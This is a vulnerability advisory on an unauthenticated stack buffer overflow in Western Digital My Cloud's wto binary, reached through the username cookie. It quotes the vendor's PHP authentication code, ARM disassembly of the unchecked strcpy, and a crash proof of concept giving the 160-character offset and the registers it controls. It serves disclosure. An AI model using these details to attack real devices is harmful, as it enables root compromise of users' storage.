------------------------------------------------------------------------
Stack-based buffer overflow in Western Digital My Cloud allows for
remote code execution
------------------------------------------------------------------------
Remco Vermeulen, January 2017
------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
It was discovered that the Western Digital My Cloud is vulnerable to a
stack-based buffer overflow in the authentication mechanism. By
exploiting this vulnerability it is possible for an unauthenticated
attacker to run arbitrary code with root privileges.
------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This vulnerability was successfully verified on a Western Digital My
Cloud model WDBCTL0020HWT running firmware version 2.21.126. This issue
isn't limited to the model that was used to find this vulnerability
since most of the products in the My Cloud series share the same
(vulnerable) code.
------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
There is currently no fix available.
------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://www.securify.nl/advisory/SFY20170105/stack_based_buffer_overflow_in_western_digital_my_cloud_allows_for_remote_code_execution.html
The previous My Cloud firmware version 2.21.119 was susceptible to an authentication bypass. To solve this an additional check was added that verifies if an admin user is actually logged in. The authentication check is performed in the login_check() function found in the /web/lib/login_checker.php file.
/* ret: 0: no login, 1: login, admin, 2: login, normal user */
function login_check()
{
$ret = 0;
if (isset($_SESSION['username']))
{
if (isset($_SESSION['username']) && $_SESSION['username'] != "")
$ret = 2; //login, normal user
if ($_SESSION['isAdmin'] == 1)
$ret = 1; //login, admin
}
else if (isset($_COOKIE['username']))
{
if (isset($_COOKIE['username']) && $_COOKIE['username'] != "")
$ret = 2; //login, normal user
if ($_COOKIE['isAdmin'] == 1)
$ret = 1; //login, admin
if (wto_check($_COOKIE['username']) === 0) //wto check fail
$ret = 0;
}
return $ret;
}
To prevent the authentication bypass from occuring another check is performed by calling the wto_check() function with the value of the username cookie to check if a user is actually logged in. The wto_check() function calls the wto binary as shown in the following code fragment.
/*
return value: 1: Login, 0: No login
*/
function wto_check($username)
{
if (empty($username))
return 0;
exec(sprintf("wto -n \"%s\" -i '%s' -c", escapeshellcmd($username), $_SERVER["REMOTE_ADDR"]), $login_status);
if ($login_status[0] === "WTO CHECK OK")
return 1;
else
[...]
}
The username is escaped with the escapeshellcmd argument to prevent command injection (which is not sufficient as pointed out by Zenofex). Analysis of the wto binary shows that it is susceptible to a buffer overflow when it copies the provided username to the stack using the strcpy() function without performing any input checking.
To parse the provided parameters the wto binary uses the getopt() function (provided by libc). The follow listing shows the case called when the optstring equals 'n'. The optarg contains a pointer to our provided input and this is directly passed to the strcpy() function as the source parameter via R1. The destination pointer is provided via R0 and this is a pointer to the stack.
.text:00010FC0 get_username
.text:00010FC0
.text:00010FC0 LDR R3, =(optarg_ptr - _GLOBAL_OFFSET_TABLE_) ; jumptable 00010F48 case 13
.text:00010FC4 LDR R3, [R7,R3]
.text:00010FC8 ADD R0, SP, #0xE0+var_A0
.text:00010FCC LDR R1, [R3]
.text:00010FD0 BL strcpy
.text:00010FD4 B parse_args
.text:00010FD4
Proof of concept
Sending a username consisting of 160 characters is enough to overwrite the saved LR register on the stack and to get control of the program counter (PC). The following core dump shows that besides controlling the value of LR (and therefore PC) we can set the values of R4-R8 and R10:
Core was generated by `wto -n AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x41414140 in ?? ()
(gdb) info reg
r0 0x0 0
r1 0x0 0
r2 0x0 0
r3 0xb68b526c 3062583916
r4 0x41414141 1094795585
r5 0x41414141 1094795585
r6 0x41414141 1094795585
r7 0x41414141 1094795585
r8 0x41414141 1094795585
r9 0x0 0
r10 0x41414141 1094795585
r11 0x0 0
r12 0x0 0
sp 0xbef6fbd8 0xbef6fbd8
lr 0x41414141 1094795585
pc 0x41414140 0x41414140
cpsr 0x60000030 1610612784
(gdb)